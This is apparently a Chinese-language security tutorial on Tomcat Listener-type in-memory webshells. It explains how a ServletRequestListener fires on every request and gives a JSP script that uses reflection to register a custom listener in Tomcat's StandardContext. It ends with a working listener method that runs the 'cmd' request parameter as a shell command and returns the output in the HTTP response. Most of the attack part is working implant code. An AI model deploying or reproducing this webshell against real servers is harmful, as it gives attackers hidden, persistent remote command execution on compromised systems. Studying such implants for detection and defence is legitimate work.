Java内存马

Tomcat

在描述Tomcat内存马前,先谈谈JavaServletTomcat这三者的关系

在 Java Web 开发中,Servlet 类是处理 HTTP 请求的核心组件,它提供了许多公开的函数,常用的有 doGetdoPost 方法,这些方法用于处理 HTTP 请求的不同类型(GetPost)。

通过Servlet-Api编写的java程序需要在Servlet容器中运行,而Tomcat实现了Servlet规范,能够加载和运行 Servlet,开启web服务。

Listener型内存马

Servlet官方文档中存在很多listener监听器

image-20240805161807288

其中有一些监听器都是针对于用户的某个操作类型,比如针对于用户读取文件时,监听器ReadListener发挥作用,当用户写文件时,监听器WriteListener发挥作用,这些只是片面的,如果将ReadListener制作成内存马,只能在读文件时才能执行木马功能,很局限

ReadListener定义了3种方法,当读取的文件判断可读时调用onDataAvailable方法,当读取全部文件后调用onAllDataRead方法,当发生错误时调用onError方法

image-20240805162944713

WriteListener定义了2种方法,当文件可写时调用onWritePossible方法,当发生错误时调用onError方法

image-20240805163224967

而如果在用户访问任意功能接口时,有一个监听器的方法都会执行,那结果如何呢?

ServletRequestListener定义了2种方法,当用户访问任意路由接口时调用requestInitialized方法,当后端程序处理接口请求完成后调用requestDestroyed方法

image-20240805163532296

ServletRequestListener会监听Tomcat的每个服务接口,用来做内存马再合适不过了

通俗来说内存马注入就是将恶意代码注入内存,而注入内存马的前提是需要有执行脚本语言的权限,需要发现执行java代码的漏洞(RCE文件上传)

通过执行一串java代码为Tomcat添加一个ServletRequestListener,其中ServletRequestListener中的方法是我们自定义的,这就是TomcatListener型内存马的原理

jsp脚本生成ServletRequestListener

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="javax.servlet.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>

<%!
public class TocmatListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("请求初始化: " + sre.getServletRequest());
}
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("请求销毁: " + sre.getServletRequest());
}
} //构造的ServletRequestListener类
%>

<%
Field Field = request.getClass().getDeclaredField("request");
Field.setAccessible(true);
Request req = (Request) Field.get(request);
StandardContext context = (StandardContext) req.getContext();
TocmatListener listener = new TocmatListener();
context.addApplicationEventListener(listener);
//通过反射的方式获取request对象,通过addApplicationEventListener增加自定义的ServletRequestListener监听器
%>

RCE

public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}

image-20240806110453251